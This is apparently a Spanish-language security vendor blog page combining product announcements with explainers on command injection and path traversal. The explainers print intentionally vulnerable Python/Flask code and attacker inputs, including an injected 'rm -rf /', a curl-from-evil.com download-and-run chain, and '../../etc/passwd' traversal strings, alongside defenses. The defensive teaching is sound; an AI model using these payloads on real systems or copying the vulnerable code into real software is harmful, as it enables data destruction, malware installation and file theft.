Bienvenido a nuestro blog.

Cursor AI se ha convertido rápidamente en el editor de código de IA de moda, ganando rápidamente popularidad entre los desarrolladores que buscan escribir código de forma más rápida y eficiente. Pero mientras Cursor acelera la codificación, ¿cómo pueden los desarrolladores confiar en que el código Gen AI es seguro?

TL;DR: con Aikido x Cursor, los desarrolladores pueden asegurar su código a medida que se escribe generado.

Si te has perdido el bombo hasta ahora, Cursor es un IDE "AI Native" construido sobre VSCode. Opera en un campo cada vez más concurrido de startups Gen AI coding copilot, compitiendo con Github Co-pilot, Cognition, Poolside, Magic y Augment entre otros.

Aunque Cursor fue fundada en 2022, no fue hasta mediados de 2024 que Cursor comenzó su meteórico ascenso al frente de la carrera de código Gen AI, más o menos al mismo tiempo que Cursor añadió Sonnet 3.5M como su modelo por defecto... A continuación se muestra una instantánea de la última semana de "El Ingeniero Pragmático" por Gregely Orosz, el boletín de tecnología # 1 en substack, que cubre cómo los desarrolladores clasifican diferentes IDEs con características GenAI :

Aunque es probable que la mayoría de los encuestados sean los primeros en adoptarlo, sigue siendo bastante impresionante ver a Cursor como un nuevo participante que capta corazones y mentes tan rápidamente. No es de extrañar que desde entonces hayan recaudado 60 millones de dólares en financiación de serie A de Andreessen Horowitz, Thrive Capital, OpenAI, Jeff Dean, Noam Brown y los fundadores de Stripe, GitHub, Ramp, Perplexity y OpenAI, entre otros.

Es por eso que Aikido Security se complace en lanzar nuestra nueva integración con Cursor AI. Aikido x Cursor trae seguridad en tiempo real en el IDE de Cursor, ayudando a los desarrolladores a escribir y generar código seguro desde el principio-sin romper el paso.

Cómo funciona la integración

Hoy puedes integrar Aikido directamente en tu IDE Cursor. Aikido escaneará tu código base en busca de secretos, claves API y problemas de código SAST mientras desarrollas, cada vez que abras o guardes un archivo.

Si se detecta algún problema, Aikido lo resalta en el editor y lo muestra en el panel Problemas. Cuando pasas el ratón por encima de un problema SAST detectado, se proporciona información adicional sobre el problema. En algunos casos, incluso se pueden arreglar los problemas con las sugerencias de Cursor en el chat (aunque todavía está oxidado).

1. Detecte las vulnerabilidades al instante
   Aikido escanea el código a medida que se genera, identificando las vulnerabilidades de seguridad en tiempo real. Las explicaciones claras y concisas garantizan que sepa cuál es el problema y por qué es importante, sin informes complicados.
2. Solucione problemas con un solo clic
   Cuando se marca una vulnerabilidad, Cursor puede generar sugerencias de solución con un solo clic. Puedes aplicarlas directamente desde la interfaz de chat de Cursor. Ten en cuenta que no todas las sugerencias de Cursor son válidas.
3. Manténgase enfocado
   Todo sucede dentro del IDE de Cursor. No hay necesidad de cambiar de herramientas, ejecutar análisis externos, o hacer malabares con plataformas separadas. Aikido se integra perfectamente en el IDE, para que pueda centrarse en la construcción sabiendo que su código es seguro.

Por qué es importante

No cabe duda del impacto que tendrá la IA Gen en la ingeniería. Los generadores de código de IA o los copilotos no son infalibles. Por un lado, la IA Gen puede utilizarse para aumentar la seguridad (¡muy pronto hablaremos de ello!). Por otro lado, también introducirán inevitablemente vulnerabilidades. Todos estamos esperando el día en que la IA pueda acabar con el meollo de la cuestión. Hoy estamos un paso más cerca.

Esta integración permite a los desarrolladores mantenerse en el carril rápido y crear aplicaciones seguras aprovechando lo mejor de las herramientas basadas en IA, con la garantía de que el resultado es seguro. Consiga seguridad. Vuelva a construir.

Comenzar

La integración de Aikido ya está disponible para los usuarios de Cursor. Por ahora, necesitarás una suscripción de pago para integrarte. Sigue los siguientes pasos:

Paso 1. Dirígete al Visual Studio Code Marketplace y sigue las instrucciones sobre cómo instalar una extensión en Cursor.

Paso 2. En Aikido, vaya a la página de integración de Cursor IDE y cree su token.

Paso 3. Consulte los ejemplos de nuestra documentación en Visual Studio Marketplace para comprobar que todo funciona correctamente.

Paso 4. Vuelve a la construcción.

Asegure su código tal y como está escrito generado.

Intel es nuestra fuente de amenazas a la seguridad de código abierto impulsada por IA y nuestro equipo interno de investigación. Intel supervisa y descubre vulnerabilidades en paquetes de código abierto antes de que se divulguen. Muchas nunca lo son.

El 67% de las vulnerabilidades de software parcheadas silenciosamente nunca se divulgaron

El software de código abierto impulsa el mundo, literalmente. Sin embargo, la seguridad del código abierto es también un área de enorme preocupación. Las herramientas de código abierto, como todo lo demás, pueden introducir vulnerabilidades de seguridad. Estos pueden ser utilizados por los atacantes para explotar su aplicación. Esto deja a los proveedores de software expuestos a ataques por causas ajenas a su voluntad. Esto hace que la seguridad del código abierto sea un tema muy importante.

No sólo confiamos en la comunidad de código abierto para construir y mantener estas herramientas, sino también para corregir cualquier vulnerabilidad de seguridad conocida. Y lo que es más importante, también confiamos en que estos responsables informen públicamente de las vulnerabilidades cuando se descubran. La divulgación pública de las vulnerabilidades por parte de la comunidad constituye la base de la seguridad del código abierto.

El parcheado silencioso, o parcheado en la sombra, se produce cuando se aplica una corrección de seguridad (parcheado) pero nunca se da a conocer. Se trata de un problema importante porque significa que los vendedores pueden estar utilizando software vulnerable sin ser conscientes del riesgo.

Lanzamos Aikido Intel para sacar de las sombras el software parcheado en silencio que podría afectarle. Con Aikido Intel, podemos avisar a los desarrolladores lo antes posible si encontramos vulnerabilidades que puedan afectarles y mejorar la seguridad del código abierto.

¿Qué es el Aikido Intel?

Aikido Intel es una iniciativa de AI + nuestro equipo interno de investigación para mejorar la seguridad del código abierto descubriendo vulnerabilidades en la cadena de suministro del código abierto lo antes posible. Incluso antes de que se divulguen en una base de datos de vulnerabilidades. Para lograrlo, utilizamos LLM entrenados a medida para revisar los cambios en los paquetes e identificar cuándo se ha solucionado un problema de seguridad.

Como todo software, el de código abierto mantiene un registro de cambios de lo que se ha ajustado en cada nueva versión. Intel utiliza IA para leer todos estos registros de cambios públicos y notas de la versión para encontrar ejemplos de dónde se han parcheado los problemas de seguridad. A continuación, se cotejan con 5 bases de datos de vulnerabilidades para comprobar si se ha notificado el problema. Si no es así, un ingeniero de seguridad analiza y evalúa la vulnerabilidad, le asigna un número de vulnerabilidad Aikido y la gravedad, y la anuncia públicamente para que usted sepa si está afectado. Lea más detalles sobre esto más adelante

Ver Aikido Intel ahora

Aikido Intel en cifras

Desde su lanzamiento en enero, Aikido, Intel ha descubierto 511 vulnerabilidades que fueron parcheadas pero no divulgadas públicamente, lo que supone una amenaza real para cualquiera que utilice esos paquetes.

A veces puede pasar tiempo entre que se parchea una vulnerabilidad y se le asigna un número CVE. Cada semana, Aikido reevalúa el estado de las vulnerabilidades anteriores para ver si alguna tiene un CVE asignado. Podemos revelar que el 67% de las vulnerabilidades que descubrimos ¡nunca fueron reveladas públicamente a ninguna base de datos de vulnerabilidades!

Aunque no es sorprendente que las vulnerabilidades de baja gravedad se parcheen silenciosamente con más frecuencia, sigue siendo chocante que más del 50% de las vulnerabilidades graves y críticas nunca se divulguen. Esto crea un enorme punto ciego para los desarrolladores y proveedores de software.

Ahora sé que algunos de ustedes estarán retorciéndose en sus asientos diciendo que tal vez se trata de proyectos pequeños, no tan populares, de código abierto con políticas de seguridad limitadas, pero en realidad, estarían equivocados. Encontramos algunas vulnerabilidades no reveladas en algunos proyectos muy grandes. .

Axios un cliente HTTP basado en promesas para el navegador y node.js con 56 millones de descargas semanales y 146.000 + dependientes solucionó una vulnerabilidad de contaminación de prototipos en enero de 2024 que nunca ha sido revelada públicamente.

Dato curioso sobre esta vulnerabilidad: Esta fue en realidad la primera vulnerabilidad que encontró Aikido Intel (Ver número 2023-10001).... A día de hoy sigue sin revelarse.

Ahora no quiero dárselo todo a ellos, Axios no está solo, hay algunos otros nombres que merecen un grito especial. Apache parcheó silenciosamente una vulnerabilidad en el software echarts para cross-site scripting que nunca fue revelada.

Otro ejemplo interesante que descubrimos fue una vulnerabilidad de cruce de ruta crítica en Chainlit que se parcheó en septiembre, pero la vulnerabilidad nunca se hizo pública.

Las vulnerabilidades más comunes

Las secuencias de comandos en sitios cruzados fueron la vulnerabilidad no revelada más común, con un 14,8%, junto con la exposición de información sensible, con un 12,3%. En total, detectamos 90 tipos diferentes de vulnerabilidades, lo que dio lugar a una larga cola de resultados.

Las vulnerabilidades más comunes descubiertas

Si nos fijamos sólo en las vulnerabilidades cuticulares y altas, podemos ver un panorama ligeramente diferente, con la ejecución remota de código ocupando el primer puesto de la lista

Las vulnerabilidades más comunes descubiertas - Sólo críticas y altas

Tiempo de divulgación

Mientras que en el momento de escribir esto el 67% de los paquetes nunca revelaron sus vulnerabilidades, el 31% sí lo hicieron, ya sea por parte de los mantenedores o de los investigadores de seguridad (enhorabuena a ellos). De los paquetes que revelaron las vulnerabilidades, pasaron una media de 27 días desde que se publicó el parche hasta que se asignó un CVE. El tiempo más rápido que observamos fue de sólo 1 día y el más largo de 9 meses.

Cómo funciona Intel (en detalle)

Sé que todos estamos hartos de las nuevas chorradas de la IA, pero Intel es una iniciativa del equipo de investigación de seguridad de Aikido y el equipo de IA de Aikido aprovecha la IA con un humano en el bucle para proporcionar una alimentación pública de amenazas para mejorar la seguridad de código abierto.

Intel trabaja leyendo todos los registros de cambios y notas de la versión disponibles públicamente para saber si se han realizado correcciones de seguridad pero no se han divulgado. Para conseguirlo, se utilizan dos modelos LLM, uno para filtrar los datos y eliminar todo el contexto innecesario para que el segundo LLM pueda centrarse en el análisis de vulnerabilidades. A continuación, un ingeniero de seguridad humano revisa los descubrimientos del LLM, valida las conclusiones y publica un Intel cuando se confirma una vulnerabilidad.

Se trata de un método tan eficaz porque consume notablemente menos potencia de cálculo que intentar escanear todos estos sistemas en busca de vulnerabilidades. Sin embargo, ha demostrado durante un año encontrar muchos resultados verdaderos.

Cómo ve Aikido Intel los Changelogs

Los registros de cambios son documentos mantenidos en proyectos de código abierto que registran actualizaciones, correcciones de errores, adiciones de características y parches. Algunos ejemplos son CHANGELOG.md mensajes de confirmación y notas de publicación de GitHub.

El Intel LLM identifica las entradas que sugieren cambios relacionados con la seguridad buscando:

• Palabras clave: "vulnerabilidad", "seguridad", "solución", "exploit", "validación de entradas", etc.
• Indicaciones contextuales: "Corregido un error crítico", "Parcheado un desbordamiento de búfer", "Resueltos los problemas de autenticación".

Ejemplo de entradas marcadas por el LLM:
-
- Se ha resuelto una fuga de memoria que podía dar lugar a ataques de denegación de servicio.
- Se ha corregido una vulnerabilidad de cruce de rutas en la función de carga de archivos.

Seguridad de código abierto, cómo divulgar correctamente las vulnerabilidades

Como ya se ha dicho, la divulgación pública es un componente importante de la seguridad del código abierto. Se utilizan varias bases de datos diferentes para revelar cuándo un software tiene una vulnerabilidad en su interior. La principal base de datos es la National Vulnerability Database (NVD) que mantiene el gobierno estadounidense. Esta base de datos no sólo es utilizada por las empresas para comprobar su cadena de suministro, sino también por el software de seguridad que comprueba los proyectos con esta base de datos y otras (software SCA). Existen muchas otras bases de datos, como la base de datos de vulnerabilidades y exposiciones comunes (CVE) de Mitre, la base de datos de avisos de GitHub y muchas más; en total, Aikido comprueba 5 bases de datos diferentes. Pero lo que la mayoría de estas bases de datos tienen en común es que requieren que las vulnerabilidades sean divulgadas públicamente, por lo general después de que se haya publicado una corrección.

¿Por qué no se divulgan las vulnerabilidades?

Esta es una buena pregunta y quiero empezar diciendo que no hay ninguna buena razón para no revelar las vulnerabilidades. Tal vez la más común sea el riesgo para la reputación, que su software pueda ser visto como inseguro, pero yo diría que hay mucho más que perder por no revelar que por revelar.

Por qué el shadow patching es un problema para la seguridad de código abierto

No revelar públicamente las vulnerabilidades de su software crea un enorme riesgo para sus usuarios. Como dice el refrán, si no está roto, no lo arregles, y esto se aplica a menudo al software.

La actualización de los componentes de su software a menudo puede crear problemas en el rendimiento y la usabilidad o simplemente romper su aplicación, con esto en mente no siempre es una práctica común para actualizar inmediatamente los paquetes cuando una nueva versión está disponible.

Sin embargo, cuando hay un problema de seguridad en un componente es importante saberlo, ya que cambia la urgencia con la que actualizas tus componentes de código abierto y de terceros. No revelar esta información significa que es menos probable que los usuarios actualicen, lo que significa que tendrán fallos de seguridad en sus herramientas que no conocían, de ahí que el shadow patching sea un problema.

No deje que las vulnerabilidades ocultas comprometan su seguridad.

Asóciese con Aikido Security hoy mismo para proteger su cadena de suministro y ganar en tranquilidad.

Si te lo perdiste, durante los meses de verano lanzamos nuestro producto en AWS Marketplace con la promesa de ofrecer el "tiempo de seguridad" más rápido del sector para los nuevos usuarios de AWS.

También nos hemos unido oficialmente a la red de socios de AWS (APN) como socio validado de AWS.

Esto significa que hemos pasado la Revisión técnica fundacional (FTR) de AWS. Contamos con la aprobación de FTR* y cumplimos las prácticas recomendadas de buena arquitectura impuestas por AWS, no es por presumir ;)

Psst. Pronto podrás utilizar Aikido para lograr la aprobación FTR. Estamos mapeando la funcionalidad de Aikido para el proceso de seguridad FTR, para que pueda ponerse en marcha, correr y co-vender con AWS rápidamente. Interesado? → Regístrese aquí y será el primero en saber cuándo.

Más allá de la elegante insignia de socio, estamos encantados de ser un socio oficial de AWS para desbloquear un mayor acceso a la comunidad de AWS. Podemos prestar un mejor servicio a los clientes nativos de la nube, eliminar complejidades innecesarias en el recorrido del cliente y ampliar nuestro propio producto Cloud Security Posture Management (CSPM) para los usuarios de AWS Cloud.

¿Por qué añadir Aikido a tu factura de AWS?

Aikido Security proporciona una cobertura completa del código a la nube, que se alinea bien con las capacidades de pila completa de AWS. Esto es especialmente valioso para los clientes de AWS que gestionan la seguridad tanto de las aplicaciones como de la nube en una plataforma unificada.

La integración directa con los entornos de AWS simplifica la implementación y permite a Aikido buscar vulnerabilidades en servicios de AWS como EC2, S3, Lambda, etc., lo que mejora la visibilidad de la seguridad en AWS y complementa la arquitectura nativa de la nube. La gestión de la postura de AWS de Aikido se basa en AWS Inspector. Podemos mostrarle los hallazgos que pueden hacer que los hackers obtengan acceso inicial a su nube.

Además, las controles de conformidad integrados se alinean con los principales estándares (SOC2, ISO 27001, NIS 2, HIPAA), lo que facilita a los clientes de AWS mantener la conformidad en toda la infraestructura de AWS, lo que es especialmente valioso para las industrias reguladas.

¿Quieres comprobarlo? Encuéntrenos en AWS Marketplace

¿Qué es la inyección de comandos?

La inyección de comandos es una vulnerabilidad todavía muy frecuente en las aplicaciones web a pesar de ser menos famosa que sus primas la inyección SQL o la inyección de código. Si está familiarizado con otras vulnerabilidades de inyección, reconocerá el principio común: la entrada de usuario no fiable no se valida correctamente, lo que lleva a la ejecución de comandos arbitrarios del sistema. Este fallo se produce cuando se pasan entradas no validadas a funciones de nivel de sistema. ¿Hasta qué punto es importante la inyección de comandos? Hemos analizado lo común que es ver esta vulnerabilidad en la naturaleza, *spoiler*, ¡es sorprendentemente común!

Ejemplo de inyección de comandos

Considere este ejemplo de inyección de comandos, digamos que tiene una aplicación donde puede introducir el nombre de un archivo alojado en un servidor. La aplicación recupera ese archivo escribiendo su contenido. El código es el siguiente

import os

file_name = input("Enter the file name: ")
os.system(f"cat {file_name}")

El código anterior espera que un usuario inserte un nombre de archivo como archivo.txt , sino que un usuario malintencionado inyecta algún código para ejecutar comandos maliciosos.

Por ejemplo
Nombre del fichero: archivo.txt; rm -rf /

Esta entrada mostraría primero el contenido de archivo.txt y luego ejecutar el malicioso rm -rf que borrará a la fuerza todos los archivos de un directorio.

El usuario malicioso puede hacer esto porque la aplicación no validó o saneó la entrada del usuario haciendo la aplicación susceptible a la inyección de comandos.

Si desea ver un ejemplo más completo, consulte el contenido adicional al final de esta página. de esta página.

Inyección de mando en cifras: Nuestra investigación

• El 7% de todas las vulnerabilidades detectadas en proyectos de código abierto en 2024 fueron inyecciones de comandos.
• 5,8% para proyectos de código cerrado .
• Aumento del número total de vulnerabilidades de inyección de comandos en proyectos de código abierto , de 2.348 (2023 ) a las 2.600 previstas (2024).
• Como porcentaje de todas las vulnerabilidades, la inyección de comandos es cada vez menos popular: una disminución del 14,6% y del 26,4% para los proyectos de código abierto y de código cerrado, respectivamente, de 2023 a 2024.

Nuestra investigación se centró en investigar proyectos tanto de código abierto como de código cerrado para revelar cuántos escondían vulnerabilidades de inyección de comandos.

En general, el número de vulnerabilidades de inyección de comandos es muy elevado: el 7% de todas las vulnerabilidades notificadas en proyectos de código abierto son de inyección de comandos y el 5,8% en proyectos de código cerrado. Esta cifra se aproxima bastante al número de vulnerabilidades de inyección SQL detectadas.

También hay algunas buenas noticias que extraer de los datos: observamos una sólida tendencia a la reducción de estas vulnerabilidades de 2023 a 2024. Como porcentaje de todas las vulnerabilidades, observamos una reducción del 27% en los proyectos de código cerrado y del 14% en los de código abierto. Probablemente hay muchos factores que contribuyen a esto, un factor probablemente significativo es que el FBI y el CISA en 2024 señalaron la inyección de comandos como una amenaza real e instaron a los vendedores a prestarle atención. Según los datos, esta advertencia fue escuchada.

Lamentablemente, las buenas noticias terminan aquí. Seguimos asistiendo a un aumento del número total de vulnerabilidades notificadas en proyectos de código abierto. El número total de vulnerabilidades de inyección notificadas en proyectos de código abierto pasó de 2.348 en 2023 a 2.450 en lo que va de 2024 (se espera que llegue a 2.600).

Cómo evitar la inyección de comandos

La prevención de las vulnerabilidades de inyección de comandos requiere un enfoque multifacético:

Validación de entradas en el servidor

Un error común que algunos cometen es realizar sólo la validación del lado del cliente, que puede ser eludida por un atacante haciendo una solicitud directa.

import subprocess

# Ejemplo de entrada restringida
allowed_files = ['fichero1.txt', 'fichero2.txt']
user_input = "fichero1.txt" # Debería venir del usuario, pero se valida

if user_input in allowed_files:
subprocess.Popen(['ls', '-l', user_input])
else:
print("¡Entrada no válida!")

Evitar los comandos shell

Sustituya los comandos del shell por funciones o bibliotecas nativas del lenguaje siempre que sea posible. A continuación se muestra un ejemplo de uso del modo de sólo lectura para abrir un archivo y leer los contextos que contiene.

with open("archivo.txt", "r") as f:
print(f.read())

Pruebas automatizadas

Utilice herramientas como Aikido para escanear su código fuente y su aplicación y descubrir estas vulnerabilidades.

Utiliza un cortafuegos integrado en la aplicación

Una de las mejores defensas contra los ataques de inyección es un cortafuegos integrado en la aplicación capaz de detectar y bloquear comandos maliciosos. Aikido's in-app firewall Zen está disponible en código abierto y comercial es capaz de detectar y bloquear ataques de inyección en tiempo de ejecución.

Aplicar el principio del menor privilegio

Configure las aplicaciones y los usuarios para que se ejecuten con los privilegios mínimos necesarios, reduciendo así los posibles daños derivados de su explotación.

El camino a seguir

La inyección de comandos junto con muchas vulnerabilidades de inyección es un reto, desde un punto de vista tecnológico, hemos resuelto esto, lo que significa que no hay necesidad de tener este tipo de vulnerabilidad en sus aplicaciones. Con esto en mente, el hecho de que todavía veamos tantos de estos tipos de vulnerabilidades significa que no podemos esperar un salto cuántico de mejora.

Sin embargo, la inyección de comandos seguirá siendo un problema, ya que este año hemos observado un descenso significativo en el número de grandes organizaciones que se han centrado en esta vulnerabilidad, por lo que es de esperar que la inyección de comandos pierda importancia en el futuro si seguimos concienciando sobre ella.

Contenido adicional

Historia de la inyección de comandos: Infracciones destacadas

La inyección de comandos ha sido una amenaza persistente durante mucho tiempo. De hecho, hubo una importante vulnerabilidad de inyección de comandos que estuvo presente en bash desde 1989 hasta 2014. Más recientemente, en 2024, la importancia de la inyección de comandos fue destacada por el CISA y el FBI, lo que demuestra que sigue siendo una gran preocupación.

1. Los inicios de la inyección de comandos

• Primer uso conocido: Las vulnerabilidades de inyección de comandos surgieron con el auge de los sistemas informáticos multiusuario en las décadas de 1970 y 1980, permitiendo a los atacantes ejecutar comandos arbitrarios a través de entradas no saneadas.
• Décadas de 1980 y 1990: La proliferación de las tecnologías web condujo a una mayor explotación de la inyección de comandos, en particular a través de scripts CGI mal protegidos.

2. Brechas y explotaciones significativas

• 1998: Primer ataque documentado de inyección de comandos en la Web: Se explota una vulnerabilidad en un script CGI basado en Perl ampliamente utilizado, lo que supone uno de los primeros incidentes importantes de inyección de comandos basados en la Web.
• 2010: Gusano Stuxnet (inyección de comandos integrados): Stuxnet utilizó la inyección de comandos para atacar sistemas de control industrial, demostrando el alcance de la vulnerabilidad más allá de los entornos informáticos tradicionales.

3. 2010s: Explotación a escala

• 2014: Vulnerabilidad Shellshock: Shellshock (CVE-2014-6271) explotó el procesamiento de comandos de Bash, afectando a millones de sistemas en todo el mundo.
• 2018: Cisco ASA VPN Exploit (CVE-2018-0101): Una vulnerabilidad de inyección de comandos en el software ASA de Cisco permitía la ejecución remota de código, comprometiendo la seguridad de la empresa.

4. 2020s: Explotaciones y tendencias modernas

• 2020: Exploit de Citrix ADC Gateway: Los atacantes aprovecharon las vulnerabilidades de inyección de comandos en los sistemas Citrix, lo que provocó importantes filtraciones de datos.
• 2023: Vulnerabilidad de MOVEit (SQL e inyección de comandos): Un fallo de inyección de comandos en el software MOVEit Transfer provocó la filtración generalizada de datos en múltiples organizaciones.

Vulnerabilidad realista de inyección de comandos

El Código Vulnerable

Veamos un ejemplo algo más complejo de inyección de comandos. A continuación se muestra el código de una sencilla aplicación web en Python. Permite a los usuarios crear un archivo ZIP con los ficheros especificados enviando una petición POST al archivo /archivo ruta.

from flask import Flask, request
import os

app = Flask(__name__)

@app.route('/archive', methods=['POST'])
def archive_files():
   files = request.form.get('files')  # User provides file names to archive
   archive_name = request.form.get('archive_name')  # User provides archive name
   
   command = f"zip {archive_name}.zip {files}"  # Command built dynamically
   os.system(command)  # Execute the system command

   return f"Archive {archive_name}.zip created successfully!"
if __name__ == "__main__":
   app.run(debug=True)

Cómo funciona

El usuario suministra:

• archivos (por ejemplo archivo1.txt archivo2.txt) para especificar qué ficheros incluir en el archivo.
• nombre_archivo para especificar el nombre del archivo zip resultante.

El código construye un comando shell dinámicamente:

1. zip nombre_archivo.zip archivo1.txt archivo2.txt

2. En os.system() ejecuta el comando, permitiendo que las entradas proporcionadas por el usuario dicten su comportamiento.

Explotación

Un atacante aprovecha esto inyectando comandos adicionales en el archivo nombre_archivo o archivos entradas.

Entrada proporcionada por el atacante:

• nombre_archivo: mi_archivo; rm -rf /
• archivos: archivo1.txt

La orden resultante:

zip mi_archivo.zip archivo1.txt; rm -rf /

1. zip mi_archivo.zip archivo1.txt: Crea un archivo como se esperaba.
2. ; rm -rf /: Elimina todos los archivos del servidor ejecutando un comando destructivo independiente.

Un ejemplo más sofisticado

El atacante podría aprovecharse de ello para descargar malware o extraer datos:

nombre_archivo: archive; curl -o malware.sh http://evil.com/malware.sh; bash malware.sh

Comando resultante:

zip archivo.zip archivo1.txt; curl -o malware.sh http://evil.com/malware.sh; bash malware.sh

Este comando:

1. Crea un archivo (zip archivo.zip archivo1.txt).
2. Descarga código malicioso (curl -o malware.sh http://evil.com/malware.sh).
3. Ejecuta el malware (bash malware.sh).
   

El cruce de rutas, también conocido como cruce de directorios, se produce cuando un usuario malintencionado manipula los datos proporcionados por el usuario para obtener acceso no autorizado a archivos y directorios. Normalmente, el atacante intentará acceder a registros y credenciales que se encuentran en directorios diferentes. Path traversal no es una vulnerabilidad nueva y ha sido explotada activamente desde los años 90 cuando los servidores web ganaron popularidad, muchos dependían de scripts Common Gateway Interface (CGI) para ejecutar contenido dinámico del lado del servidor.

Con una historia tan larga, ¿sigue siendo popular hoy en día el path traversal? Hemos realizado un estudio de proyectos tanto de código abierto como de código cerrado para recopilar datos y ver cómo de común era el path traversal en 2024 y si estamos mejorando, Spoilersno.

Ejemplo de recorrido

¿Cómo funciona exactamente el path traversal? Veamos un ejemplo sencillo.

En esta sencilla aplicación, un usuario recibe un archivo para descargar a través de una variable en la URL.

Hay un sencillo código Python que gestiona la petición.

import os

def descargar_archivo(archivo):
directorio_base = "/var/www/archivos"
ruta_archivo = os.path.join(directorio_base, archivo)

if os.path.exists(ruta_archivo):
with open(ruta_archivo, 'rb') as f:
return f.read()
else:
return "Archivo no encontrado"

Ahora como la variable se suministra en la URL podemos cambiarla a algo como esto file=../../../../etc/passwd

En este caso, el atacante utiliza ../../ para recorrer la estructura de directorios hasta el nivel raíz del sistema y acceder al archivo pasado, lo que le permite acceder a información confidencial.

Si quiere ver cómo se puede asegurar este método, desplácese hacia abajo hasta el contenido adicional.

En situaciones más complejas que impliquen varias capas de directorios o caracteres codificados (por ejemplo, %2e%2e%2f), los atacantes pueden saltarse los filtros básicos y obtener un acceso más profundo al sistema de archivos.

Recorrido por los números

• El 2,7% de todas las vulnerabilidades detectadas en proyectos de código abierto en 2024 hasta la fecha eran de tipo path traversal.
• 3,5% para proyectos de código cerrado
• Un aumento en el número total de vulnerabilidades de path traversal en proyectos de código abierto de 742 (2023) a una previsión de 1.000 (2024).
• Como porcentaje de todas las vulnerabilidades, el path traversal es cada vez más común, con un aumento masivo en proyectos de código cerrado del 85%.

Nuestra investigación se centró en investigar proyectos tanto de código abierto como de código cerrado para revelar cuántos de ellos escondían vulnerabilidades de path traversal.

En general, el número de vulnerabilidades de path traversal es inferior al de otras que hemos investigado, como las inyecciones de comandos o las inyecciones SQL. Pero considerando que esta vulnerabilidad puede ser muy peligrosa y tiene soluciones bien documentadas para prevenirla, es alarmante ver los números tan altos como son. Es aún más alarmante ver que las tendencias de esta vulnerabilidad van en la dirección equivocada. f

Proyectos de código abierto

En los proyectos de código abierto, el path traversal representó el 2,6% de todas las vulnerabilidades notificadas en 2023. Esta cifra aumentó ligeramente en 2024, hasta el 2,75%. Aunque este incremento pueda parecer marginal a primera vista, subraya los retos que sigue planteando la protección del software de código abierto incluso frente a vulnerabilidades sencillas.

Proyectos de código cerrado

La tendencia más notable se observó en los proyectos de código cerrado, donde los incidentes de path traversal pasaron del 1,9% en 2023 al 3,5% en 2024, un aumento sustancial del 85% que pone de manifiesto una tendencia alarmante de este tipo de vulnerabilidad.

Por desgracia, las malas noticias no acaban aquí. Seguimos asistiendo a un aumento del número total de vulnerabilidades notificadas en proyectos de código abierto. El número total de vulnerabilidades de inyección notificadas en proyectos de código abierto pasó de 742 en 2023 a 917 en lo que va de 2024 (se espera que alcance las 1.000).

Evitar el cruce de rutas

La prevención de las vulnerabilidades de inyección de comandos requiere un enfoque multifacético:

Validación de entradas

• Sanear las entradas de usuario: Elimina o codifica caracteres peligrosos como ../, ..\, ..%2fu otras variaciones.
• Enfoque de lista permitida: Definir un conjunto estricto de entradas permitidas (por ejemplo, nombres de archivos o rutas) y rechazar cualquier cosa fuera de esta lista.

Restringir el acceso a archivos

• Utilizar una jaula chroot o sandbox: Limita el acceso a los archivos de la aplicación a un directorio restringido, asegurando que no pueda atravesar más allá del árbol de directorios previsto.
• Establecer directorios raíz: Define directorios base y asegúrate de que todas las rutas son relativas a ellos. Utiliza APIs o frameworks que obliguen a ello, como:java.nio.file.Paths.get("baseDir").resolve(userInput).normalize() en Java.
  os.path.realpath() y os.path.commonpath() en Python.

API de acceso seguro a archivos

• Utilice métodos de acceso seguro a archivos proporcionados por bibliotecas o marcos de trabajo modernos:En JavaUtilice Files.newInputStream() o Files.newBufferedReader() para un manejo seguro de los archivos.
  En PythonAsegúrate de validar las rutas de los archivos antes de acceder a ellos.

Restricciones de uso del entorno

• Establecer restricciones permisos del sistema de archivos:Asegúrese de que la aplicación sólo tiene los privilegios mínimos necesarios.
  Denegar el acceso a directorios sensibles (por ejemplo, /etc, /var, /usry los directorios personales de los usuarios).
• Desactivar funciones innecesarias en servidores web o frameworks (por ejemplo, el seguimiento de enlaces simbólicos).

Pruebas automatizadas

• Utilice herramientas como Aikido para escanear su código fuente y su aplicación y descubrir estas vulnerabilidades.
• Ambas herramientas, SAST y DAST, deben utilizarse conjuntamente con el escaneado de dominios y la seguridad en la nube para garantizar que no existen vulnerabilidades de paso ocultas.

Utiliza un cortafuegos integrado en la aplicación

• Una de las mejores defensas contra los ataques de inyección es un cortafuegos integrado en la aplicación capaz de detectar y bloquear comandos maliciosos.

El camino a seguir

Path traversal es una vulnerabilidad que ha estado presente desde el principio de las aplicaciones web y, aunque a menudo es bastante simple, también puede ser un exploit muy devastador. Por eso es tan preocupante que un porcentaje tan elevado de proyectos siga luchando con este tipo de problemas. Aunque un 3,5% no parece una cifra elevada, es bastante notable que siga creciendo a pesar de su clara amenaza continuada y bien documentada.

Path traversal no es una vulnerabilidad que vaya a desaparecer pero la buena noticia es que hay formas claras de encontrar estas vulnerabilidades en nuestra aplicación y remediar cualquier problema que encontremos.

Contenido adicional

Incidentes reales

En los últimos años se han producido varias infracciones o vulnerabilidades de gran repercusión que han implicado el cruce de rutas como principal punto de entrada o como parte de una cadena de vulnerabilidades.

Microsoft IIS Unicode Exploit (2001)

Uno de los primeros exploits de alto perfil de path traversal dirigido a servidores Microsoft IIS. Los atacantes utilizaban rutas codificadas para eludir los mecanismos de validación (por ejemplo, utilizando %c0%af para representar /). Esto les permitía acceder y ejecutar archivos fuera del directorio raíz de la web.

Esto permitió el despliegue de programas maliciosos y la desfiguración de numerosos sitios web.

Fortinet VPN Path Traversal (2019)

Se descubrió que SSL VPN de Fortinet tiene una vulnerabilidad de cruce de directorios (CVE-2018-13379). Los atacantes aprovecharon este fallo para acceder a archivos confidenciales del sistema, como contraseñas en texto plano de usuarios de VPN.

Miles de credenciales de VPN se filtraron en Internet, exponiendo a las organizaciones a accesos no autorizados y a nuevos ataques.

El incumplimiento de Capital One (2019)

Lo que ocurrió: Aunque la causa principal fue una vulnerabilidad SSRF, el atacante también aprovechó el directory traversal para acceder a los metadatos de los buckets de AWS S3. El atacante aprovechó los errores de configuración para recuperar archivos de configuración que deberían haber sido inaccesibles.

Esto expuso los datos personales de 106 millones de solicitantes de tarjetas de crédito.

Path Traversal en Kubernetes Dashboard (2020)

El tablero de mandos de Kubernetes tenía un fallo de traspaso de directorios (CVE-2020-8563). Los atacantes explotaban esto para leer archivos sensibles en el contenedor, incluyendo secretos almacenados en /etc.

A la hora de decidir qué enfoque utilizar para las herramientas de seguridad, parece que hay dos opciones.

1. Vende tu riñón izquierdo y compra la solución empresarial cuyo nombre figura en el lateral de un coche de Fórmula 1.

2. Elige la herramienta gratuita de código abierto que acierta más falsos positivos que una aplicación de citas durante una solitaria noche de viernes.

